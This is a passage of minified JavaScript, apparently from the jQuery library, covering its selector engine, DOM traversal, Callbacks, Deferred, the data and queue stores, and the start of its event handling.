n==i?-1:t==i?1:o?-1:s?1:w?nt(w,n)-nt(w,t):0;if(o===s)return ki(n,t);for(r=n;r=r.parentNode;)f.unshift(r);for(r=t;r=r.parentNode;)e.unshift(r);while(f[u]===e[u])u++;return u?ki(f[u],e[u]):f[u]==c?-1:e[u]==c?1:0}),i},u.matches=function(n,t){return u(n,null,null,t)},u.matchesSelector=function(n,t){if(b(n),f.matchesSelector&&h&&!lt[t+" "]&&(!d||!d.test(t))&&(!o||!o.test(t)))try{var r=ct.call(n,t);if(r||f.disconnectedMatch||n.document&&11!==n.document.nodeType)return r}catch(n){lt(t,!0)}return 0<u(t,i,null,[n]).length},u.contains=function(n,t){return(n.ownerDocument||n)!=i&&b(n),et(n,t)},u.attr=function(n,r){(n.ownerDocument||n)!=i&&b(n);var e=t.attrHandle[r.toLowerCase()],u=e&&tr.call(t.attrHandle,r.toLowerCase())?e(n,r,!h):void 0;return void 0!==u?u:f.attributes||!h?n.getAttribute(r):(u=n.getAttributeNode(r))&&u.specified?u.value:null},u.escape=function(n){return(n+"").replace(pi,wi)},u.error=function(n){throw new Error("Syntax error, unrecognized expression: "+n);},u.uniqueSort=function(n){var r,u=[],t=0,i=0;if(ut=!f.detectDuplicates,w=!f.sortStable&&n.slice(0),n.sort(dt),ut){while(r=n[i++])r===n[i]&&(t=u.push(i));while(t--)n.splice(u[t],1)}return w=null,n},st=u.getText=function(n){var r,i="",u=0,t=n.nodeType;if(t){if(1===t||9===t||11===t){if("string"==typeof n.textContent)return n.textContent;for(n=n.firstChild;n;n=n.nextSibling)i+=st(n)}else if(3===t||4===t)return n.nodeValue}else while(r=n[u++])i+=st(r);return i},(t=u.selectors={cacheLength:50,createPseudo:l,match:vt,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(n){return n[1]=n[1].replace(y,p),n[3]=(n[3]||n[4]||n[5]||"").replace(y,p),"~="===n[2]&&(n[3]=" "+n[3]+" "),n.slice(0,4)},CHILD:function(n){return n[1]=n[1].toLowerCase(),"nth"===n[1].slice(0,3)?(n[3]||u.error(n[0]),n[4]=+(n[4]?n[5]+(n[6]||1):2*("even"===n[3]||"odd"===n[3])),n[5]=+(n[7]+n[8]||"odd"===n[3])):n[3]&&u.error(n[0]),n},PSEUDO:function(n){var i,t=!n[6]&&n[2];return vt.CHILD.test(n[0])?null:(n[3]?n[2]=n[4]||n[5]||"":t&&or.test(t)&&(i=ft(t,!0))&&(i=t.indexOf(")",t.length-i)-t.length)&&(n[0]=n[0].slice(0,i),n[2]=t.slice(0,i)),n.slice(0,3))}},filter:{TAG:function(n){var t=n.replace(y,p).toLowerCase();return"*"===n?function(){return!0}:function(n){return n.nodeName&&n.nodeName.toLowerCase()===t}},CLASS:function(n){var t=hi[n+" "];return t||(t=new RegExp("(^|"+r+")"+n+"("+r+"|$)"))&&hi(n,function(n){return t.test("string"==typeof n.className&&n.className||"undefined"!=typeof n.getAttribute&&n.getAttribute("class")||"")})},ATTR:function(n,t,i){return function(r){var f=u.attr(r,n);return null==f?"!="===t:!t||(f+="","="===t?f===i:"!="===t?f!==i:"^="===t?i&&0===f.indexOf(i):"*="===t?i&&-1<f.indexOf(i):"$="===t?i&&f.slice(-i.length)===i:"~="===t?-1<(" "+f.replace(ur," ")+" ").indexOf(i):"|="===t&&(f===i||f.slice(0,i.length+1)===i+"-"))}},CHILD:function(n,t,i,r,u){var s="nth"!==n.slice(0,3),o="last"!==n.slice(-4),f="of-type"===t;return 1===r&&0===u?function(n){return!!n.parentNode}:function(t,i,h){var p,d,y,c,a,w,b=s!==o?"nextSibling":"previousSibling",k=t.parentNode,nt=f&&t.nodeName.toLowerCase(),g=!h&&!f,l=!1;if(k){if(s){while(b){for(c=t;c=c[b];)if(f?c.nodeName.toLowerCase()===nt:1===c.nodeType)return!1;w=b="only"===n&&!w&&"nextSibling"}return!0}if(w=[o?k.firstChild:k.lastChild],o&&g){for(l=(a=(p=(d=(y=(c=k)[e]||(c[e]={}))[c.uniqueID]||(y[c.uniqueID]={}))[n]||[])[0]===v&&p[1])&&p[2],c=a&&k.childNodes[a];c=++a&&c&&c[b]||(l=a=0)||w.pop();)if(1===c.nodeType&&++l&&c===t){d[n]=[v,a,l];break}}else if(g&&(l=a=(p=(d=(y=(c=t)[e]||(c[e]={}))[c.uniqueID]||(y[c.uniqueID]={}))[n]||[])[0]===v&&p[1]),!1===l)while(c=++a&&c&&c[b]||(l=a=0)||w.pop())if((f?c.nodeName.toLowerCase()===nt:1===c.nodeType)&&++l&&(g&&((d=(y=c[e]||(c[e]={}))[c.uniqueID]||(y[c.uniqueID]={}))[n]=[v,l]),c===t))break;return(l-=u)===r||l%r==0&&0<=l/r}}},PSEUDO:function(n,i){var f,r=t.pseudos[n]||t.setFilters[n.toLowerCase()]||u.error("unsupported pseudo: "+n);return r[e]?r(i):1<r.length?(f=[n,n,"",i],t.setFilters.hasOwnProperty(n.toLowerCase())?l(function(n,t){for(var e,u=r(n,i),f=u.length;f--;)n[e=nt(n,u[f])]=!(t[e]=u[f])}):function(n){return r(n,0,f)}):r}},pseudos:{not:l(function(n){var t=[],r=[],i=kt(n.replace(at,"$1"));return i[e]?l(function(n,t,r,u){for(var e,o=i(n,null,u,[]),f=n.length;f--;)(e=o[f])&&(n[f]=!(t[f]=e))}):function(n,u,f){return t[0]=n,i(t,null,f,r),t[0]=null,!r.pop()}}),has:l(function(n){return function(t){return 0<u(n,t).length}}),contains:l(function(n){return n=n.replace(y,p),function(t){return-1<(t.textContent||st(t)).indexOf(n)}}),lang:l(function(n){return sr.test(n||"")||u.error("unsupported lang: "+n),n=n.replace(y,p).toLowerCase(),function(t){var i;do if(i=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(i=i.toLowerCase())===n||0===i.indexOf(n+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var i=n.location&&n.location.hash;return i&&i.slice(1)===t.id},root:function(n){return n===s},focus:function(n){return n===i.activeElement&&(!i.hasFocus||i.hasFocus())&&!!(n.type||n.href||~n.tabIndex)},enabled:di(!1),disabled:di(!0),checked:function(n){var t=n.nodeName.toLowerCase();return"input"===t&&!!n.checked||"option"===t&&!!n.selected},selected:function(n){return n.parentNode&&n.parentNode.selectedIndex,!0===n.selected},empty:function(n){for(n=n.firstChild;n;n=n.nextSibling)if(n.nodeType<6)return!1;return!0},parent:function(n){return!t.pseudos.empty(n)},header:function(n){return lr.test(n.nodeName)},input:function(n){return cr.test(n.nodeName)},button:function(n){var t=n.nodeName.toLowerCase();return"input"===t&&"button"===n.type||"button"===t},text:function(n){var t;return"input"===n.nodeName.toLowerCase()&&"text"===n.type&&(null==(t=n.getAttribute("type"))||"text"===t.toLowerCase())},first:it(function(){return[0]}),last:it(function(n,t){return[t-1]}),eq:it(function(n,t,i){return[i<0?i+t:i]}),even:it(function(n,t){for(var i=0;i<t;i+=2)n.push(i);return n}),odd:it(function(n,t){for(var i=1;i<t;i+=2)n.push(i);return n}),lt:it(function(n,t,i){for(var r=i<0?i+t:t<i?t:i;0<=--r;)n.push(r);return n}),gt:it(function(n,t,i){for(var r=i<0?i+t:i;++r<t;)n.push(r);return n})}}).pseudos.nth=t.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})t.pseudos[rt]=yr(rt);for(rt in{submit:!0,reset:!0})t.pseudos[rt]=pr(rt);return gi.prototype=t.filters=t.pseudos,t.setFilters=new gi,ft=u.tokenize=function(n,i){var e,f,s,o,r,h,c,l=ci[n+" "];if(l)return i?0:l.slice(0);for(r=n,h=[],c=t.preFilter;r;){for(o in e&&!(f=fr.exec(r))||(f&&(r=r.slice(f[0].length)||r),h.push(s=[])),e=!1,(f=yi.exec(r))&&(e=f.shift(),s.push({value:e,type:f[0].replace(at," ")}),r=r.slice(e.length)),t.filter)(f=vt[o].exec(r))&&(!c[o]||(f=c[o](f)))&&(e=f.shift(),s.push({value:e,type:o,matches:f}),r=r.slice(e.length));if(!e)break}return i?r.length:r?u.error(n):ci(n,h).slice(0)},kt=u.compile=function(n,r){var s,c,a,o,y,p,w=[],d=[],f=li[n+" "];if(!f){for(r||(r=ft(n)),s=r.length;s--;)(f=ei(r[s]))[e]?w.push(f):d.push(f);(f=li(n,(c=d,o=0<(a=w).length,y=0<c.length,p=function(n,r,f,e,s){var l,nt,d,g=0,p="0",tt=n&&[],w=[],it=ht,rt=n||y&&t.find.TAG("*",s),ut=v+=null==it?1:Math.random()||.1,ft=rt.length;for(s&&(ht=r==i||r||s);p!==ft&&null!=(l=rt[p]);p++){if(y&&l){for(nt=0,r||l.ownerDocument==i||(b(l),f=!h);d=c[nt++];)if(d(l,r||i,f)){e.push(l);break}s&&(v=ut)}o&&((l=!d&&l)&&g--,n&&tt.push(l))}if(g+=p,o&&p!==g){for(nt=0;d=a[nt++];)d(tt,w,r,f);if(n){if(0<g)while(p--)tt[p]||w[p]||(w[p]=ir.call(e));w=bt(w)}k.apply(e,w);s&&!n&&0<w.length&&1<g+a.length&&u.uniqueSort(e)}return s&&(v=ut,ht=it),tt},o?l(p):p))).selector=n}return f},si=u.select=function(n,i,r,u){var o,f,e,l,a,c="function"==typeof n&&n,s=!u&&ft(n=c.selector||n);if(r=r||[],1===s.length){if(2<(f=s[0]=s[0].slice(0)).length&&"ID"===(e=f[0]).type&&9===i.nodeType&&h&&t.relative[f[1].type]){if(!(i=(t.find.ID(e.matches[0].replace(y,p),i)||[])[0]))return r;c&&(i=i.parentNode);n=n.slice(f.shift().value.length)}for(o=vt.needsContext.test(n)?0:f.length;o--;){if(e=f[o],t.relative[l=e.type])break;if((a=t.find[l])&&(u=a(e.matches[0].replace(y,p),ti.test(f[0].type)&&ri(i.parentNode)||i))){if(f.splice(o,1),!(n=u.length&&pt(f)))return k.apply(r,u),r;break}}}return(c||kt(n,s))(u,i,!h,r,!i||ti.test(n)&&ri(i.parentNode)||i),r},f.sortStable=e.split("").sort(dt).join("")===e,f.detectDuplicates=!!ut,b(),f.sortDetached=a(function(n){return 1&n.compareDocumentPosition(i.createElement("fieldset"))}),a(function(n){return n.innerHTML="<a href='#'><\/a>","#"===n.firstChild.getAttribute("href")})||ii("type|href|height|width",function(n,t,i){if(!i)return n.getAttribute(t,"type"===t.toLowerCase()?1:2)}),f.attributes&&a(function(n){return n.innerHTML="<input/>",n.firstChild.setAttribute("value",""),""===n.firstChild.getAttribute("value")})||ii("value",function(n,t,i){if(!i&&"input"===n.nodeName.toLowerCase())return n.defaultValue}),a(function(n){return null==n.getAttribute("disabled")})||ii(gt,function(n,t,i){var r;if(!i)return!0===n[t]?t.toLowerCase():(r=n.getAttributeNode(t))&&r.specified?r.value:null}),u}(n);i.find=d;i.expr=d.selectors;i.expr[":"]=i.expr.pseudos;i.uniqueSort=i.unique=d.uniqueSort;i.text=d.getText;i.isXMLDoc=d.isXML;i.contains=d.contains;i.escapeSelector=d.escape;var ft=function(n,t,r){for(var u=[],f=void 0!==r;(n=n[t])&&9!==n.nodeType;)if(1===n.nodeType){if(f&&i(n).is(r))break;u.push(n)}return u},gr=function(n,t){for(var i=[];n;n=n.nextSibling)1===n.nodeType&&n!==t&&i.push(n);return i},nu=i.expr.match.needsContext;wi=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;i.filter=function(n,t,r){var u=t[0];return r&&(n=":not("+n+")"),1===t.length&&1===u.nodeType?i.find.matchesSelector(u,n)?[u]:[]:i.find.matches(n,i.grep(t,function(n){return 1===n.nodeType}))};i.fn.extend({find:function(n){var t,r,u=this.length,f=this;if("string"!=typeof n)return this.pushStack(i(n).filter(function(){for(t=0;t<u;t++)if(i.contains(f[t],this))return!0}));for(r=this.pushStack([]),t=0;t<u;t++)i.find(n,f[t],r);return 1<u?i.uniqueSort(r):r},filter:function(n){return this.pushStack(bi(this,n||[],!1))},not:function(n){return this.pushStack(bi(this,n||[],!0))},is:function(n){return!!bi(this,"string"==typeof n&&nu.test(n)?i(n):n||[],!1).length}});iu=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(i.fn.init=function(n,t,r){var e,o;if(!n)return this;if(r=r||tu,"string"==typeof n){if(!(e="<"===n[0]&&">"===n[n.length-1]&&3<=n.length?[null,n,null]:iu.exec(n))||!e[1]&&t)return!t||t.jquery?(t||r).find(n):this.constructor(t).find(n);if(e[1]){if(t=t instanceof i?t[0]:t,i.merge(this,i.parseHTML(e[1],t&&t.nodeType?t.ownerDocument||t:f,!0)),wi.test(e[1])&&i.isPlainObject(t))for(e in t)u(this[e])?this[e](t[e]):this.attr(e,t[e]);return this}return(o=f.getElementById(e[2]))&&(this[0]=o,this.length=1),this}return n.nodeType?(this[0]=n,this.length=1,this):u(n)?void 0!==r.ready?r.ready(n):n(i):i.makeArray(n,this)}).prototype=i.fn;tu=i(f);ru=/^(?:parents|prev(?:Until|All))/;uu={children:!0,contents:!0,next:!0,prev:!0};i.fn.extend({has:function(n){var t=i(n,this),r=t.length;return this.filter(function(){for(var n=0;n<r;n++)if(i.contains(this,t[n]))return!0})},closest:function(n,t){var r,f=0,o=this.length,u=[],e="string"!=typeof n&&i(n);if(!nu.test(n))for(;f<o;f++)for(r=this[f];r&&r!==t;r=r.parentNode)if(r.nodeType<11&&(e?-1<e.index(r):1===r.nodeType&&i.find.matchesSelector(r,n))){u.push(r);break}return this.pushStack(1<u.length?i.uniqueSort(u):u)},index:function(n){return n?"string"==typeof n?ii.call(i(n),this[0]):ii.call(this,n.jquery?n[0]:n):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(n,t){return this.pushStack(i.uniqueSort(i.merge(this.get(),i(n,t))))},addBack:function(n){return this.add(null==n?this.prevObject:this.prevObject.filter(n))}});i.each({parent:function(n){var t=n.parentNode;return t&&11!==t.nodeType?t:null},parents:function(n){return ft(n,"parentNode")},parentsUntil:function(n,t,i){return ft(n,"parentNode",i)},next:function(n){return fu(n,"nextSibling")},prev:function(n){return fu(n,"previousSibling")},nextAll:function(n){return ft(n,"nextSibling")},prevAll:function(n){return ft(n,"previousSibling")},nextUntil:function(n,t,i){return ft(n,"nextSibling",i)},prevUntil:function(n,t,i){return ft(n,"previousSibling",i)},siblings:function(n){return gr((n.parentNode||{}).firstChild,n)},children:function(n){return gr(n.firstChild)},contents:function(n){return null!=n.contentDocument&&yr(n.contentDocument)?n.contentDocument:(c(n,"template")&&(n=n.content||n),i.merge([],n.childNodes))}},function(n,t){i.fn[n]=function(r,u){var f=i.map(this,t,r);return"Until"!==n.slice(-5)&&(u=r),u&&"string"==typeof u&&(f=i.filter(u,f)),1<this.length&&(uu[n]||i.uniqueSort(f),ru.test(n)&&f.reverse()),this.pushStack(f)}});l=/[^\x20\t\r\n\f]+/g;i.Callbacks=function(n){var a,h;n="string"==typeof n?(a=n,h={},i.each(a.match(l)||[],function(n,t){h[t]=!0}),h):i.extend({},n);var o,r,v,f,t=[],s=[],e=-1,y=function(){for(f=f||n.once,v=o=!0;s.length;e=-1)for(r=s.shift();++e<t.length;)!1===t[e].apply(r[0],r[1])&&n.stopOnFalse&&(e=t.length,r=!1);n.memory||(r=!1);o=!1;f&&(t=r?[]:"")},c={add:function(){return t&&(r&&!o&&(e=t.length-1,s.push(r)),function f(r){i.each(r,function(i,r){u(r)?n.unique&&c.has(r)||t.push(r):r&&r.length&&"string"!==ut(r)&&f(r)})}(arguments),r&&!o&&y()),this},remove:function(){return i.each(arguments,function(n,r){for(var u;-1<(u=i.inArray(r,t,u));)t.splice(u,1),u<=e&&e--}),this},has:function(n){return n?-1<i.inArray(n,t):0<t.length},empty:function(){return t&&(t=[]),this},disable:function(){return f=s=[],t=r="",this},disabled:function(){return!t},lock:function(){return f=s=[],r||o||(t=r=""),this},locked:function(){return!!f},fireWith:function(n,t){return f||(t=[n,(t=t||[]).slice?t.slice():t],s.push(t),o||y()),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!v}};return c};i.extend({Deferred:function(t){var f=[["notify","progress",i.Callbacks("memory"),i.Callbacks("memory"),2],["resolve","done",i.Callbacks("once memory"),i.Callbacks("once memory"),0,"resolved"],["reject","fail",i.Callbacks("once memory"),i.Callbacks("once memory"),1,"rejected"]],o="pending",e={state:function(){return o},always:function(){return r.done(arguments).fail(arguments),this},"catch":function(n){return e.then(null,n)},pipe:function(){var n=arguments;return i.Deferred(function(t){i.each(f,function(i,f){var e=u(n[f[4]])&&n[f[4]];r[f[1]](function(){var n=e&&e.apply(this,arguments);n&&u(n.promise)?n.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[f[0]+"With"](this,e?[n]:arguments)})});n=null}).promise()},then:function(t,r,e){function s(t,r,f,e){return function(){var h=this,c=arguments,l=function(){var n,i;if(!(t<o)){if((n=f.apply(h,c))===r.promise())throw new TypeError("Thenable self-resolution");i=n&&("object"==typeof n||"function"==typeof n)&&n.then;u(i)?e?i.call(n,s(o,r,et,e),s(o,r,fi,e)):(o++,i.call(n,s(o,r,et,e),s(o,r,fi,e),s(o,r,et,r.notifyWith))):(f!==et&&(h=void 0,c=[n]),(e||r.resolveWith)(h,c))}},a=e?l:function(){try{l()}catch(l){i.Deferred.exceptionHook&&i.Deferred.exceptionHook(l,a.stackTrace);o<=t+1&&(f!==fi&&(h=void 0,c=[l]),r.rejectWith(h,c))}};t?a():(i.Deferred.getStackHook&&(a.stackTrace=i.Deferred.getStackHook()),n.setTimeout(a))}}var o=0;return i.Deferred(function(n){f[0][3].add(s(0,n,u(e)?e:et,n.notifyWith));f[1][3].add(s(0,n,u(t)?t:et));f[2][3].add(s(0,n,u(r)?r:fi))}).promise()},promise:function(n){return null!=n?i.extend(n,e):e}},r={};return i.each(f,function(n,t){var i=t[2],u=t[5];e[t[1]]=i.add;u&&i.add(function(){o=u},f[3-n][2].disable,f[3-n][3].disable,f[0][2].lock,f[0][3].lock);i.add(t[3].fire);r[t[0]]=function(){return r[t[0]+"With"](this===r?void 0:this,arguments),this};r[t[0]+"With"]=i.fireWith}),e.promise(r),t&&t.call(r,r),r},when:function(n){var e=arguments.length,t=e,o=Array(t),f=k.call(arguments),r=i.Deferred(),s=function(n){return function(t){o[n]=this;f[n]=1<arguments.length?k.call(arguments):t;--e||r.resolveWith(o,f)}};if(e<=1&&(eu(n,r.done(s(t)).resolve,r.reject,!e),"pending"===r.state()||u(f[t]&&f[t].then)))return r.then();while(t--)eu(f[t],s(t),r.reject);return r.promise()}});ou=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;i.Deferred.exceptionHook=function(t,i){n.console&&n.console.warn&&t&&ou.test(t.name)&&n.console.warn("jQuery.Deferred exception: "+t.message,t.stack,i)};i.readyException=function(t){n.setTimeout(function(){throw t;})};ei=i.Deferred();i.fn.ready=function(n){return ei.then(n)["catch"](function(n){i.readyException(n)}),this};i.extend({isReady:!1,readyWait:1,ready:function(n){(!0===n?--i.readyWait:i.isReady)||(i.isReady=!0)!==n&&0<--i.readyWait||ei.resolveWith(f,[i])}});i.ready.then=ei.then;"complete"===f.readyState||"loading"!==f.readyState&&!f.documentElement.doScroll?n.setTimeout(i.ready):(f.addEventListener("DOMContentLoaded",oi),n.addEventListener("load",oi));var w=function(n,t,r,f,e,o,s){var h=0,l=n.length,c=null==r;if("object"===ut(r))for(h in e=!0,r)w(n,t,h,r[h],!0,o,s);else if(void 0!==f&&(e=!0,u(f)||(s=!0),c&&(s?(t.call(n,f),t=null):(c=t,t=function(n,t,r){return c.call(i(n),r)})),t))for(;h<l;h++)t(n[h],r,s?f:f.call(n[h],h,t(n[h],r)));return e?n:c?t.call(n):l?t(n[0],r):o},he=/^-ms-/,ce=/-([a-z])/g;ot=function(n){return 1===n.nodeType||9===n.nodeType||!+n.nodeType};bt.uid=1;bt.prototype={cache:function(n){var t=n[this.expando];return t||(t={},ot(n)&&(n.nodeType?n[this.expando]=t:Object.defineProperty(n,this.expando,{value:t,configurable:!0}))),t},set:function(n,t,i){var r,u=this.cache(n);if("string"==typeof t)u[y(t)]=i;else for(r in t)u[y(r)]=t[r];return u},get:function(n,t){return void 0===t?this.cache(n):n[this.expando]&&n[this.expando][y(t)]},access:function(n,t,i){return void 0===t||t&&"string"==typeof t&&void 0===i?this.get(n,t):(this.set(n,t,i),void 0!==i?i:t)},remove:function(n,t){var u,r=n[this.expando];if(void 0!==r){if(void 0!==t)for(u=(t=Array.isArray(t)?t.map(y):(t=y(t))in r?[t]:t.match(l)||[]).length;u--;)delete r[t[u]];(void 0===t||i.isEmptyObject(r))&&(n.nodeType?n[this.expando]=void 0:delete n[this.expando])}},hasData:function(n){var t=n[this.expando];return void 0!==t&&!i.isEmptyObject(t)}};var r=new bt,o=new bt,ae=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ve=/[A-Z]/g;i.extend({hasData:function(n){return o.hasData(n)||r.hasData(n)},data:function(n,t,i){return o.access(n,t,i)},removeData:function(n,t){o.remove(n,t)},_data:function(n,t,i){return r.access(n,t,i)},_removeData:function(n,t){r.remove(n,t)}});i.fn.extend({data:function(n,t){var f,u,e,i=this[0],s=i&&i.attributes;if(void 0===n){if(this.length&&(e=o.get(i),1===i.nodeType&&!r.get(i,"hasDataAttrs"))){for(f=s.length;f--;)s[f]&&0===(u=s[f].name).indexOf("data-")&&(u=y(u.slice(5)),su(i,u,e[u]));r.set(i,"hasDataAttrs",!0)}return e}return"object"==typeof n?this.each(function(){o.set(this,n)}):w(this,function(t){var r;if(i&&void 0===t)return void 0!==(r=o.get(i,n))?r:void 0!==(r=su(i,n))?r:void 0;this.each(function(){o.set(this,n,t)})},null,t,1<arguments.length,null,!0)},removeData:function(n){return this.each(function(){o.remove(this,n)})}});i.extend({queue:function(n,t,u){var f;if(n)return t=(t||"fx")+"queue",f=r.get(n,t),u&&(!f||Array.isArray(u)?f=r.access(n,t,i.makeArray(u)):f.push(u)),f||[]},dequeue:function(n,t){t=t||"fx";var r=i.queue(n,t),e=r.length,u=r.shift(),f=i._queueHooks(n,t);"inprogress"===u&&(u=r.shift(),e--);u&&("fx"===t&&r.unshift("inprogress"),delete f.stop,u.call(n,function(){i.dequeue(n,t)},f));!e&&f&&f.empty.fire()},_queueHooks:function(n,t){var u=t+"queueHooks";return r.get(n,u)||r.access(n,u,{empty:i.Callbacks("once memory").add(function(){r.remove(n,[t+"queue",u])})})}});i.fn.extend({queue:function(n,t){var r=2;return"string"!=typeof n&&(t=n,n="fx",r--),arguments.length<r?i.queue(this[0],n):void 0===t?this:this.each(function(){var r=i.queue(this,n,t);i._queueHooks(this,n);"fx"===n&&"inprogress"!==r[0]&&i.dequeue(this,n)})},dequeue:function(n){return this.each(function(){i.dequeue(this,n)})},clearQueue:function(n){return this.queue(n||"fx",[])},promise:function(n,t){var u,e=1,o=i.Deferred(),f=this,s=this.length,h=function(){--e||o.resolveWith(f,[f])};for("string"!=typeof n&&(t=n,n=void 0),n=n||"fx";s--;)(u=r.get(f[s],n+"queueHooks"))&&u.empty&&(e++,u.empty.add(h));return h(),o.promise(t)}});var hu=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,kt=new RegExp("^(?:([+-])=|)("+hu+")([a-z%]*)$","i"),b=["Top","Right","Bottom","Left"],g=f.documentElement,st=function(n){return i.contains(n.ownerDocument,n)},ye={composed:!0};g.getRootNode&&(st=function(n){return i.contains(n.ownerDocument,n)||n.getRootNode(ye)===n.ownerDocument});dt=function(n,t){return"none"===(n=t||n).style.display||""===n.style.display&&st(n)&&"none"===i.css(n,"display")};ki={};i.fn.extend({show:function(){return ht(this,!0)},hide:function(){return ht(this)},toggle:function(n){return"boolean"==typeof n?n?this.show():this.hide():this.each(function(){dt(this)?i(this).show():i(this).hide()})}});var nt,si,gt=/^(?:checkbox|radio)$/i,lu=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,au=/^$|^module$|\/(?:java|ecma)script/i;nt=f.createDocumentFragment().appendChild(f.createElement("div"));(si=f.createElement("input")).setAttribute("type","radio");si.setAttribute("checked","checked");si.setAttribute("name","t");nt.appendChild(si);e.checkClone=nt.cloneNode(!0).cloneNode(!0).lastChild.checked;nt.innerHTML="<textarea>x<\/textarea>";e.noCloneChecked=!!nt.cloneNode(!0).lastChild.defaultValue;nt.innerHTML="<option><\/option>";e.option=!!nt.lastChild;h={thead:[1,"<table>","<\/table>"],col:[2,"<table><colgroup>","<\/colgroup><\/table>"],tr:[2,"<table><tbody>","<\/tbody><\/table>"],td:[3,"<table><tbody><tr>","<\/tr><\/tbody><\/table>"],_default:[0,"",""]};h.tbody=h.tfoot=h.colgroup=h.caption=h.thead;h.th=h.td;e.option||(h.optgroup=h.option=[1,"<select multiple='multiple'>","<\/select>"]);vu=/<|&#?\w+;/;gi=/^([^.]*)(?:\.(.+)|)/;i.event={global:{},add:function(n,t,u,f,e){var p,a,k,v,w,h,s,c,o,b,d,y=r.get(n);if(ot(n))for(u.handler&&(u=(p=u).handler,e=p.selector),e&&i.find.matchesSelector(g,e),u.guid||(u.guid=i.guid++),(v=y.events)||(v=y.events=Object.create(null)),(a=y.handle)||(a=y.handle=function(t){if("undefined"!=typeof i&&i.event.triggered!==t.type)return i.event.dispatch.apply(n,arguments)}),w=(t=(t||"").match(l)||[""]).length;w--;)o=d=(k=gi.exec(t[w])||[])[1],b=(k[2]||"").split(".").sort(),o&&(s=i.event.special[o]||{},o=(e?s.delegateType:s.bindType)||o,s=i.event.special[o]||{},h=i.extend({type:o,origType:d,data:f,handler:u,guid:u.guid,selector:e,needsContext:e&&i.expr.match.needsContext.test(e),namespace:b.join(".")},p),(c=v[o])||((c=v[o]=[]).delegateCount=0,s.setup&&!1!==s.setup.call(n,f,b,a)||n.addEventListener&&n.addEventListener(o,a)),s.add&&(s.add.call(n,h),h.handler.guid||(h.handler.guid=u.guid)),e?c.splice(c.delegateCount++,0,h):c.push(h),i.event.global[o]=!0)},remove:function(n,t,u,f,e){var y,k,c,v,p,s,h,a,o,b,d,w=r.hasData(n)&&r.get(n);if(w&&(v=w.events)){for(p=(t=(t||"").match(l)||[""]).length;p--;)if(o=d=(c=gi.exec(t[p])||[])[1],b=(c[2]||"").split(".").sort(),o){for(h=i.event.special[o]||{},a=v[o=(f?h.delegateType:h.bindType)||o]||[],c=c[2]&&new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"),k=y=a.length;y--;)s=a[y],!e&&d!==s.origType||u&&u.guid!==s.guid||c&&!c.test(s.namespace)||f&&f!==s.selector&&("**"!==f||!s.selector)||(a.splice(y,1),s.selector&&a.delegateCount--,h.remove&&h.remove.call(n,s));k&&!a.length&&(h.teardown&&!1!==h.teardown.call(n,b,w.handle)||i.removeEvent(n,o,w.handle),delete v[o])}else for(o in v)i.event.remove(n,o+t[p],u,f,!0);i.isEmptyObject(v)&&r.remove(n,"handle events")}},dispatch:function(n){var u,h,c,e,f,l,s=new Array(arguments.length),t=i.event.fix(n),a=(r.get(this,"events")||Object.create(null))[t.type]||[],o=i.event.special[t.type]||{};for(s[0]=t,u=1;u<arguments.length;u++)s[u]=arguments[u];if(t.delegateTarget=this,!o.preDispatch||!1!==o.preDispatch.call(this,t)){for(l=i.event.handlers.call(this,t,a),u=0;(e=l[u++])&&!t.isPropagationStopped();)for(t.currentTarget=e.elem,h=0;(f=e.handlers[h++])&&!t.isImmediatePropagationStopped();)t.rnamespace&&!1!==f.namespace&&!t.rnamespace.test(f.namespace)||(t.handleObj=f,t.data=f.data,void 0!==(c=((i.event.special[f.origType]||{}).handle||f.handler).apply(e.elem,s))&&!1===(t.result=c)&&(t.preventDefault(),t.stopPropagation()));return o.postDispatch&&o.postDispatch.call(this,t),t.result}},handlers:function(n,t){var f,h,u,e,o,c=[],s=t.delegateCount,r=n.target;if(s&&r.nodeType&&!("click"===n.type&&1<=n.button))for(;r!==this;r=r.parentNode||this)if(1===r.nodeType&&("click"!==n.type||!0!==r.disabled)){for(e=[],o={},f=0;f<s;f++)void 0===o[u=(h=t[f]).selector+" "]&&(o[u]=h.needsContext?-1<i(u,this).index(r):i.find(u,this,null,[r]).length),o[u]&&e.push(h);e.length&&c.push({elem:r,handlers:e})}return r=this,s<t.length&&c.push({elem:r,handlers:t.slice(s)}),c},addProp:function(n,t){Object.defineProperty(i.Event.prototype,n,{enumerable:!0,configurable:!0,get:u(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[n]},set:function(t){Object.defineProperty(this,n,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(n){return n[i.expando]?n:new i.Event(n)},special:{load:{noBubble:!0},click:{setup:function(n){var t=this||n;return gt.test(t.type)&&t.click&&c(t,"input")&&hi(t,"click",ct),!1},trigger:function(n){var t=this||n;return gt.test(t.type)&&t.click&&c(t,"input")&&hi(t,"click"),!0},_default:function(n){var t=n.target;return gt.test(t.type)&&t.click&&c(t,"input")&&r.get(t,"click")||c(t,"a")}},beforeunload:{postDispatch:function(n){void 0!==n.result&&n.originalEvent&&(n.originalEvent.returnValue=n.result)}}}};i.removeEvent=function(n,t,i){n.removeEventListener&&n.removeEventListener(t,i)};i.Event=function(n,t){if(!(this instanceof i.Event))return new i.Event(n,t);n&&n.type?(this.originalEvent=n,this.type=n.type,this.isDefaultPrevented=n.defaultPrevented||void 